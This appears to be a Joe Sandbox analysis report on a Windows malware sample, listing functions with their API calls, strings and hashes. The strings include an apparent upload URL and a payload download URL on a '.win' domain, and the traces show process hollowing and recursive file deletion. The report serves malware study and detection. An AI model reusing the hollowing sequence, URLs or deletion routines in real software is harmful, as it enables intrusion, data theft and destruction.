Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Section$View$Close$lstrcpy$Unmap$AddressHandleProcProcess$Create$Current$Terminate_memmove$EventLibraryLoadModuleObjectSingleThreadUserWait
String ID: CloseHandle$D$GetProcAddress$KERNEL32.DLL$KERNEL32.DLL$LoadLibraryA$LoadLibraryW$LocalAlloc$LocalFree$MessageBoxW$NTDLL.DLL$NtClose$NtCreateSection$NtMapViewOfSection$NtUnmapViewOfSection$RtlCreateUserThread$Sleep$USER32.DLL$VirtualAlloc$VirtualFree$VirtualProtect
API String ID: 4191060109-4063295011
Opcode ID: 46932f945e7be0b7c02c4322d2cec7bc5fe6b61baed2ee4b8facf4b752a7a1e3
Instruction ID: ae6134267d67571173c451c309296a3c89f41e8980cad314f33764e250f24ddb
Opcode Fuzzy Hash: 46932f945e7be0b7c02c4322d2cec7bc5fe6b61baed2ee4b8facf4b752a7a1e3
Instruction Fuzzy Hash: F5222FB5A40218EFEB35CFA4DD89F9EB779FB48701F108598E609A7290C7746984CF60

Function 00321030 Relevance: 89.6, APIs: 48, Strings: 3, Instructions: 351synchronizationCOMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32(00100000,00000000,{DD700AA6-D197-4A4A-838A-B93EA96F236B}), ref: 00321042
OpenMutexW.KERNEL32(00100000,00000000,{7E105FD4-6112-4FB9-A722-91E984087449}), ref: 00321071
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 003210EA
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00321149
CloseHandle.KERNEL32(00000000), ref: 00321534
ReleaseMutex.KERNEL32(00000000), ref: 0032154E
CloseHandle.KERNEL32(00000000), ref: 00321558
CloseHandle.KERNEL32(00000000), ref: 00321568
CloseHandle.KERNEL32(00000000), ref: 00321572

Strings

{7E105FD4-6112-4FB9-A722-91E984087449}, xrefs: 00321065
{EFC3ABD3-EC58-4FCB-B5F7-D01538741E91}, xrefs: 003210A1
{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 00321036

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventMutexOpen$CreateObjectReleaseSingleWait
String ID: {7E105FD4-6112-4FB9-A722-91E984087449}${DD700AA6-D197-4A4A-838A-B93EA96F236B}${EFC3ABD3-EC58-4FCB-B5F7-D01538741E91}
API String ID: 385723476-1649484402
Opcode ID: d6d611e93e2de728b210dc9f1af347de2a067566eff1419c97f4563720f7bc47
Instruction ID: b72b12ac772d41c5a3abb0814b413ac18d29ec64ae7e4194df70a029a4c0c92c
Opcode Fuzzy Hash: d6d611e93e2de728b210dc9f1af347de2a067566eff1419c97f4563720f7bc47
Instruction Fuzzy Hash: 53E15174900314EFDB2ADFA5EE8DBAE7779BB18701F208519E206A61E0C7B859C4CF51

Function 00305140 Relevance: 75.6, APIs: 33, Strings: 10, Instructions: 352stringmemoryencryptionCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000B3C), ref: 00305150
lstrcpyW.KERNEL32(00000000,{E29CBB21-643E-472E-B199-71CB48A8D055}), ref: 00305179
lstrcpyW.KERNEL32(-0000009C,{7E105FD4-6112-4FB9-A722-91E984087449}), ref: 00305191
lstrcpyW.KERNEL32(-000000EA,{2CE5F8BD-0511-45BE-87AB-414E34221A74}), ref: 003051A9
lstrcpyW.KERNEL32(-00000138,Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0), ref: 003051BF
lstrcpyW.KERNEL32(-000005EA,00376BDC), ref: 003051D7
lstrcpyW.KERNEL32(-000006B2,https://woo097878781.win/upload.php), ref: 003051EF
lstrcpyW.KERNEL32(-0000090A,{DD790A50-FBBA-44EC-A8E0-C3475C4234CA}), ref: 00305205
_memset.LIBCMT ref: 00305302
CryptBinaryToStringW.CRYPT32(00000000,00000010,4000000C,00000000,00000000), ref: 00305328
LocalFree.KERNEL32(00000000), ref: 003056DD
LocalFree.KERNEL32(00000000), ref: 003056F2
CloseHandle.KERNEL32(00000000), ref: 00305702
CloseHandle.KERNEL32(00000000), ref: 00305712

Strings

{DD790A50-FBBA-44EC-A8E0-C3475C4234CA}, xrefs: 003051F5
{7E105FD4-6112-4FB9-A722-91E984087449}, xrefs: 0030517F
HWID_%s, xrefs: 00305388
{2CE5F8BD-0511-45BE-87AB-414E34221A74}, xrefs: 00305197, 0030558D
https://woo097878781.win/upload.php, xrefs: 003051DD
%s %s, xrefs: 00305574
https://woo097878781.win/32.EXE, xrefs: 0030543B
{DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}, xrefs: 00305568
{E29CBB21-643E-472E-B199-71CB48A8D055}, xrefs: 0030516E
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0, xrefs: 003051AF, 0030542A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Local$CloseFreeHandle$AllocBinaryCryptString_memset
String ID: %s %s$HWID_%s$Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0$https://woo097878781.win/32.EXE$https://woo097878781.win/upload.php${2CE5F8BD-0511-45BE-87AB-414E34221A74}${7E105FD4-6112-4FB9-A722-91E984087449}${DD790A50-FBBA-44EC-A8E0-C3475C4234CA}${DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}${E29CBB21-643E-472E-B199-71CB48A8D055}
API String ID: 2754469768-1647865491
Opcode ID: 88ced15b202611c56690298a27b3dace0b7759176b0335eef1db7323af0d444f
Instruction ID: 090a177fbb6644304781238786549312d69827a0ac06fda32dbc3408e490d39d
Opcode Fuzzy Hash: 88ced15b202611c56690298a27b3dace0b7759176b0335eef1db7323af0d444f
Instruction Fuzzy Hash: 10E1BE74A11604DFD736CB50ECAAFAA77BCAB48300F009569E50EA72E1E7759AC4CF50

Function 00316D30 Relevance: 68.8, APIs: 38, Strings: 1, Instructions: 529threadsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 00316DC7
CloseHandle.KERNEL32(00000000), ref: 00316DF9
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00316E17
CreateThread.KERNEL32(00000000,00000000,Function_0000E020,-00379F18,00000004,00000000), ref: 00316E4C
ResumeThread.KERNEL32(00000000), ref: 00316E8C
CloseHandle.KERNEL32(00000000), ref: 00316EA5
CloseHandle.KERNEL32(00000000), ref: 00316EAF
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00316EF9
CloseHandle.KERNEL32(00000000), ref: 00316F31
CloseHandle.KERNEL32(00000000), ref: 00316F63
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00316F81
CreateThread.KERNEL32(00000000,00000000,Function_0000E020,-00379F18,00000004,00000000), ref: 00316FB5
ResumeThread.KERNEL32(00000000), ref: 00316FF5
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 003170B8
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0031716A
___crtGetLocaleInfoEx.LIBCMTD ref: 00317187
closesocket.WS2_32(?), ref: 00317193

Strings

d, xrefs: 0031723F

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateThread$EventResumesetsockopt$InfoLocaleObjectSingleWait___crtclosesocket
String ID: d
API String ID: 404341171-2564639436
Opcode ID: 923e2cdaa8036ba7fc9005409b7ef1e617146c89627df48e43238d3aa3addbe2
Instruction ID: 027f1f6ad97d3d08dead209f90f7cba9bbc56f62ec6e2c3db5cd311c6635c747
Opcode Fuzzy Hash: 923e2cdaa8036ba7fc9005409b7ef1e617146c89627df48e43238d3aa3addbe2
Instruction Fuzzy Hash: 96328E71A04204DFDB19CF94C899BEEBBB9FB48304F298619E516AF2D0C7749886CF50

Function 00321580 Relevance: 60.5, APIs: 40, Instructions: 459synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 003215F6
WaitForSingleObject.KERNEL32(?,00000000), ref: 0032163E
WaitForSingleObject.KERNEL32(?,00000000), ref: 00321678
WaitForMultipleObjects.KERNEL32(00000006,?,00000000,000000FF), ref: 003218CE
WaitForSingleObject.KERNEL32(?,00000000), ref: 00321BD7
shutdown.WS2_32(00000000,00000002), ref: 00321D0F
closesocket.WS2_32(00000000), ref: 00321D23
CloseHandle.KERNEL32(00000000), ref: 00321D52
shutdown.WS2_32(00000000,00000002), ref: 00321D7D
closesocket.WS2_32(00000000), ref: 00321D8A
LocalFree.KERNEL32(?), ref: 00321D9E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Wait$ObjectSingle$closesocketshutdown$CloseFreeHandleLocalMultipleObjects
String ID:
API String ID: 3117981272-0
Opcode ID: b6bcd28c9bead63a4045dad91c21b9a61804a7c44694d7722cd4330d45a51dec
Instruction ID: 0ba2f6d60eeccbd7a53e5e5f4464f333ae46be8727beeeb8e7daaeab1dc5f918
Opcode Fuzzy Hash: b6bcd28c9bead63a4045dad91c21b9a61804a7c44694d7722cd4330d45a51dec
Instruction Fuzzy Hash: EB222B74A003289FDB25CF94EE89BEA7779BF98304F108199E649A7280D7B45EC4CF51

Function 0030A1B0 Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 283nativethreadinjectionCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0030A1B9
_memset.LIBCMT ref: 0030A1CA
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,?,00000044,00302000), ref: 0030A21B
NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 0030A251
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 0030A285
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 0030A290
_memmove.LIBCMT ref: 0030A2AF
NtMapViewOfSection.NTDLL(00000000,00302000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 0030A2DA
NtCreateSection.NTDLL(00000000,0000000E,00000000,?,00000040,08000000,00000000), ref: 0030A320
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 0030A360
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 0030A36E
_memmove.LIBCMT ref: 0030A390
NtMapViewOfSection.NTDLL(00000000,00302000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 0030A3C7
_memset.LIBCMT ref: 0030A3E8
GetThreadContext.KERNEL32(?,00010007), ref: 0030A405
WriteProcessMemory.KERNEL32(00302000,?,?,00000004,?), ref: 0030A447
SetThreadContext.KERNEL32(?,00010007), ref: 0030A461
ResumeThread.KERNEL32(?), ref: 0030A470
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 0030A486
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 0030A494
NtClose.NTDLL(00000000), ref: 0030A49E
NtClose.NTDLL(00000000), ref: 0030A4AB
NtUnmapViewOfSection.NTDLL(00302000,00000000), ref: 0030A4E6
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 0030A4F7
NtClose.NTDLL(00000000), ref: 0030A504
NtUnmapViewOfSection.NTDLL(00302000,00000000), ref: 0030A512
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 0030A520
NtClose.NTDLL(00000000), ref: 0030A52A
CloseHandle.KERNEL32(00302000), ref: 0030A534
CloseHandle.KERNEL32(?), ref: 0030A53E

Strings

D, xrefs: 0030A1D2

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Section$View$CloseUnmap$Process$CreateCurrentThread$ContextHandle_memmove_memset$MemoryResumeWrite
String ID: D
API String ID: 987980044-2746444292
Opcode ID: 92851107b34d950fe4635aa33778da098040353d11414eb254d578b7bab2a66d
Instruction ID: 806b76fc99fc7f1aed25e4dd8888c484ed45efc7494ba61de395be9e2ecef1e6
Opcode Fuzzy Hash: 92851107b34d950fe4635aa33778da098040353d11414eb254d578b7bab2a66d
Instruction Fuzzy Hash: 12C10EB5A10318AFDB25CFA4DD49F9EB7B9BB48700F208558F609AB290D774A981CF50

Function 00313620 Relevance: 45.7, APIs: 22, Strings: 4, Instructions: 175sleepfilestringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0031364A
_memset.LIBCMT ref: 00313669
SHGetKnownFolderPath.SHELL32(00337C30,00000000,00000000,00000000), ref: 00313685
lstrlenW.KERNEL32(00000000), ref: 00313693
__snwprintf.LIBCMT ref: 003136C6
__snwprintf.LIBCMT ref: 003136E6
CoTaskMemFree.COMBASE(00000000), ref: 003136FC
_memset.LIBCMT ref: 00313729
__snwprintf.LIBCMT ref: 00313749
FindFirstFileW.KERNEL32(?,?), ref: 00313780
_memset.LIBCMT ref: 003137CC
__snwprintf.LIBCMT ref: 003137F3
DeleteFileW.KERNEL32(?), ref: 00313802
FindNextFileW.KERNEL32(000000FF,?), ref: 00313816
FindClose.KERNEL32(000000FF), ref: 0031382B
Sleep.KERNEL32(00000064), ref: 0031383E
GetFileAttributesW.KERNEL32(?), ref: 00313859
RemoveDirectoryW.KERNEL32(?), ref: 0031386D
Sleep.KERNEL32(00000064), ref: 0031387C
GetFileAttributesW.KERNEL32(?), ref: 00313894
RemoveDirectoryW.KERNEL32(?), ref: 003138A8
Sleep.KERNEL32(00000064), ref: 003138B7

Strings

%s\*.*, xrefs: 00313738
%s\System32, xrefs: 003136D5
\\?\%s , xrefs: 003136B5
%s\%s, xrefs: 003137E2

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: File$__snwprintf_memset$FindSleep$AttributesDirectoryRemove$CloseDeleteFirstFolderFreeKnownNextPathTasklstrlen
String ID: %s\%s$%s\*.*$%s\System32$\\?\%s
API String ID: 1835786642-2457321626
Opcode ID: 66cb183104a2395580ebbdb756b4e45d7f1a766e807477f3abb5a7ea881ae408
Instruction ID: a0898882b2d29f45e00d6fde64ec1fe5f7bd1c2c3bb9c597b206be5696fe1a6c
Opcode Fuzzy Hash: 66cb183104a2395580ebbdb756b4e45d7f1a766e807477f3abb5a7ea881ae408
Instruction Fuzzy Hash: BD618FB1910218ABEB39DB60DC89BE97779BF48300F5485D8F519A6180EB759FC8CF90

Function 0031CA90 Relevance: 40.4, APIs: 20, Strings: 3, Instructions: 144memoryfilestringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0031CAA5
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0031CABD
wnsprintfW.SHLWAPI ref: 0031CAE2
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0031CAF2
FindFirstFileW.KERNEL32(00000000,?), ref: 0031CB10
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0031CB2F
lstrcmpW.KERNEL32(?,00337444), ref: 0031CB4D
lstrcmpW.KERNEL32(?,00337448), ref: 0031CB63
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0031CB88
wnsprintfW.SHLWAPI ref: 0031CBB9
RemoveDirectoryW.KERNEL32(?), ref: 0031CBE4
GetLastError.KERNEL32 ref: 0031CBF6
LocalFree.KERNEL32(?), ref: 0031CC08
wnsprintfW.SHLWAPI ref: 0031CC29
DeleteFileW.KERNEL32(00000000), ref: 0031CC36
FindNextFileW.KERNEL32(000000FF,?), ref: 0031CC47
FindClose.KERNEL32(000000FF), ref: 0031CC59
GetLastError.KERNEL32 ref: 0031CC69
LocalFree.KERNEL32(00000000), ref: 0031CC78
LocalFree.KERNEL32(00000000), ref: 0031CC82

Strings

%s%s, xrefs: 0031CC1B
%s%s\, xrefs: 0031CBA8
%s*.*, xrefs: 0031CAD4

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$AllocFileFindFreewnsprintf$ErrorLastObjectSingleWaitlstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID: %s%s$%s%s\$%s*.*
API String ID: 3901725581-784047915
Opcode ID: d5c1c8c18c2281ae748b205684f1d8d5ffe25fab82ca81e8f4ee207d6bd79d34
Instruction ID: ea2ec99b4665c6b690cadce3838ad9adc6ba848ba5690218b0ea9def093a016e
Opcode Fuzzy Hash: d5c1c8c18c2281ae748b205684f1d8d5ffe25fab82ca81e8f4ee207d6bd79d34
Instruction Fuzzy Hash: DB516EB0A54209EBDB2AEFA4DD8DBEB7779BF48301F008598F60996190D734AD85CF50

Function 0031F9E0 Relevance: 28.7, APIs: 19, Instructions: 168networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 0031FA18
und_memcpy.LIBCMTD ref: 0031FA3D
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0031FA4D
wsprintfW.USER32 ref: 0031FA89
GetForegroundWindow.USER32(?), ref: 0031FAA2
SetWindowTextW.USER32(00000000), ref: 0031FAA9
WSAEventSelect.WS2_32(00000000,00000000,00000021), ref: 0031FAB9
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,000003E8,00000001), ref: 0031FADB
LocalFree.KERNEL32(00000000), ref: 0031FB03
CloseHandle.KERNEL32(00000000), ref: 0031FB0D
LocalFree.KERNEL32(00000000), ref: 0031FB3A
CloseHandle.KERNEL32(00000000), ref: 0031FB44
___crtGetLocaleInfoEx.LIBCMTD ref: 0031FB6A
LocalFree.KERNEL32(00000000), ref: 0031FB89
CloseHandle.KERNEL32(00000000), ref: 0031FB93
CloseHandle.KERNEL32(00000000), ref: 0031FBF5
LocalFree.KERNEL32(00000000), ref: 0031FBFF

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$EventWindow$AllocCreateEventsForegroundInfoLocaleMultipleSelectTextWait___crtund_memcpywsprintf
String ID:
API String ID: 924265577-0
Opcode ID: 7022d9b3bc39afb5d745232817d385d2e59adb1de09afc48d3ed7e830848c98c
Instruction ID: 7a66c94199498d31deaec1c9f419723c3547e4238ecf370cdd60774a35cf586b
Opcode Fuzzy Hash: 7022d9b3bc39afb5d745232817d385d2e59adb1de09afc48d3ed7e830848c98c
Instruction Fuzzy Hash: C4713CB4D00209EFCB19DFA4D989BEFBBB9BF48304F108559E915A7290C7749A85CF90

Function 00322530 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 116librarymemoryloaderCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000318), ref: 00322540
LoadLibraryW.KERNEL32(NTDLL.DLL), ref: 00322558
LocalFree.KERNEL32(00000000), ref: 0032256B
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00322581
LocalFree.KERNEL32(00000000), ref: 00322594

Strings

NTDLL.DLL, xrefs: 00322553
RtlGetVersion, xrefs: 00322578

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$AddressAllocLibraryLoadProc
String ID: NTDLL.DLL$RtlGetVersion
API String ID: 2539306102-196638859
Opcode ID: bc9e533d233943b98133f48449688f2e5f2b67c826918a8f227bf4134fe03f38
Instruction ID: aa0917bbdf6981c63043358c2605ec27f2ece7350a7b9721215531fb252e79e3
Opcode Fuzzy Hash: bc9e533d233943b98133f48449688f2e5f2b67c826918a8f227bf4134fe03f38
Instruction Fuzzy Hash: 5251E574A00218EFCB26DF64DD98BDAB7B9BF48304F1085A8E909A7250DB749F80DF50

Function 0031F7D0 Relevance: 27.2, APIs: 18, Instructions: 162networkmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 0031F805
und_memcpy.LIBCMTD ref: 0031F82A
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0031F83A
WSAEventSelect.WS2_32(00000000,00000000,00000021), ref: 0031F869
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,00000000,00000000), ref: 0031F88A
LocalFree.KERNEL32(00000000), ref: 0031F8A7
CloseHandle.KERNEL32(00000000), ref: 0031F8B1
LocalFree.KERNEL32(00000000), ref: 0031F8D6
CloseHandle.KERNEL32(00000000), ref: 0031F8E0
CloseHandle.KERNEL32(00000000), ref: 0031F9C8
LocalFree.KERNEL32(00000000), ref: 0031F9D2

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
